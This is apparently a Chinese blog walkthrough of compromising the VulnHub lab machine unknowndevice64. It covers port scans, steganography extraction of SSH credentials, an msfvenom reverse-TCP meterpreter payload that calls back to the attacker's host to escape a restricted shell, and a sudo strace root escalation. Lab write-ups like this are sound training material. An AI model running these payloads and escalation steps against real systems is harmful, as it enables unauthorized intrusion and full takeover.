渗透笔记之unknowndevice64

背景

unknowndevice64是来自VulnHub的渗透测试靶机。下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了我对其进行渗透的全过程。该靶机较为简单,前后不过几个小时就完成了从boot到root。

准备环境

首先下载靶机镜像,得到文件unknowndevice64-V1.0.ova,大小为282M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一虚拟网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中用Nmap扫描192.168.1.0/24网段,确定靶机的IP地址为192.168.1.5。

端口扫描

使用Nmap对靶机进行TCP端口扫描:

root@kali:~# nmap -n -Pn -sV 192.168.1.5

结果如下图所示。

看到只开放了31337端口,是HTTP服务。

使用Nmap对靶机进行UDP端口扫描:

root@kali:~# nmap -n -Pn -sU 192.168.1.5

结果如下图所示。

看到只开放了用于DHCP的68端口。

Web探测

在浏览器访问http://192.168.1.5:31337/,看到如下图所示的页面。

查看网页源码,看到可疑注释:

<!-- key_is_h1dd3n.jpg -->

在浏览器访问http://192.168.1.5:31337/key_is_h1dd3n.jpg,看到如下图所示的页面。

显然是在上图中隐藏了关键信息。

隐写破解

首先查看EXIF信息:

root@kali:~/Downloads/unknowndevice64# exif key_is_h1dd3n.jpg

没有获得任何有用的信息。

然后查看是否有附加数据:

root@kali:~/Downloads/unknowndevice64# binwalk key_is_h1dd3n.jpg

依旧没有任何有用的信息。

多方查找资料后找到名为steghide的隐写工具,尝试用此隐写工具提取数据:

root@kali:~/Downloads/unknowndevice64# steghide --extract -sf key_is_h1dd3n.jpg

需要输入密码,凭直觉输入密码“h1dd3n”,密码正确,提取出了奇怪的字符串:

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.-----------------.<----------------.--.++++++.---------.>-----------------------.<<+++.++.>+++++.--.++++++++++++.>++++++++++++++++++++++++++++++++++++++++.-----------------.

多方搜索后确定该字符串是Brainfuck语言的源码,使用在线工具运行,可得到输出为:

ud64:1M!#64@ud

输出看上去像是用户名和密码。但是这个用户名和密码要在哪里输入呢?HTTP的服务器是“SimpleHTTPServer 0.6 (Python 2.7.14)”,这是个静态服务器,不可能有有效地输入密码的页面。考虑可能是端口扫描结果不全,因为nmap默认只扫描部分端口,不会扫描全部65535个端口。

再次扫描端口

扫描全部65535个端口:

root@kali:~/Downloads/unknowndevice64# nmap 192.168.1.5 -Pn -n -sV -p 1337

惊喜地发现开放了1337端口,而且运行的是SSH服务。

登录试试,发现成功登录:

但执行ls命令出了问题:

原来是一个受限的shell。查看一下$PATH:

ud64@unknowndevice64_v1:~$ echo $PATH

竟然是在当前用户目录中:

/home/ud64/prog

突破限制

用Metasploit制作一个反弹连接程序:

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f elf -o isshell

将它上传到靶机的“/home/ud64/prog”中:

root@kali:~# scp -P 1337 isshell ud64@192.168.1.5:prog

然后打开Metasploit,监听反弹连接:

接着登录靶机,运行上传的反弹连接程序:

最后再Metasploit中看到反弹连接成功建立:

这样我们便获得了一个不受限的Meterpreter shell。

提权

首先看一下系统信息:

Slackware,真的是很少见的发行版本。

在Meterpreter shell中输入shell命令进行bash shell,然后查看sudo权限:

看到可以免密码执行“/usr/bin/sysud64”。

执行“/usr/bin/sysud64”,加“-h”参数看看:

发现实际执行的是“strace”。搜索可知利用此程序可提权。具体做法为:

bash-4.4$ sudo /usr/bin/sysud64 -o /dev/null /bin/bash

提权成功后读取“/root/flag.txt”,成功拿到flag,内容为:

  ___    _                _                                  
 / _ \  | |              | |                                 
/ /_\ \ | |__   __ _  ___| | _____ _ __                      
|  _  | | '_ \ / _` |/ __| |/ / _ \ '__|                     
| | | | | | | | (_| | (__|   <  __/ |                        
\_| |_/ |_| |_|\__,_|\___|_|\_\___|_|                        


     _                    __             _                   
    | |                  / _|           | |                  
  __| | ___   ___  ___  | |_ ___  _ __  | | _____   _____    
 / _` |/ _ \ / _ \/ __| |  _/ _ \| '__| | |/ _ \ \ / / _ \   
| (_| | (_) |  __/\__ \ | || (_) | |    | | (_) \ V /  __/   
 \__,_|\___/ \___||___/ |_| \___/|_|    |_|\___/ \_/ \___|   


          _           _           _   _                      
         | |         | |         | | | |                     
__      _| |__   __ _| |_    ___ | |_| |__   ___ _ __ ___    
\ \ /\ / / '_ \ / _` | __|  / _ \| __| '_ \ / _ \ '__/ __|   
 \ V  V /| | | | (_| | |_  | (_) | |_| | | |  __/ |  \__ \   
  \_/\_/ |_| |_|\__,_|\__|  \___/ \__|_| |_|\___|_|  |___/   


                     _     _               _         _       
                    | |   | |             | |       | |      
__      _____  _   _| | __| |  _ __   ___ | |_    __| | ___  
\ \ /\ / / _ \| | | | |/ _` | | '_ \ / _ \| __|  / _` |/ _ \ 
 \ V  V / (_) | |_| | | (_| | | | | | (_) | |_  | (_| | (_) |
  \_/\_/ \___/ \__,_|_|\__,_| |_| |_|\___/ \__|  \__,_|\___/ 


  __                                                         
 / _|                                                        
| |_ ___  _ __   _ __ ___   ___  _ __   ___ _   _            
|  _/ _ \| '__| | '_ ` _ \ / _ \| '_ \ / _ \ | | |           
| || (_) | |    | | | | | | (_) | | | |  __/ |_| |_          
|_| \___/|_|    |_| |_| |_|\___/|_| |_|\___|\__, (_)         
                                             __/ |           
                                            |___/            



   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _  
  / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ 
 ( . | / | u | n | k | n | o | w | n | d | e | v | i | c | e | 6 | 4 )
  \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ 

总结

总体来说这个靶机还是很简单的,但仍有所收获:

  1. 扫描端口时加上参数“-p-”;
  2. 利用Tab键补全功能可查看所有可执行的命令。

其实完全没有必要制作反弹连接程序,使用ssh登录靶机后按两下Tab键可以看到所有可执行命令,看到其中有vi,利用vi便可绕过restricted bash。

参考

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

20 − 14 =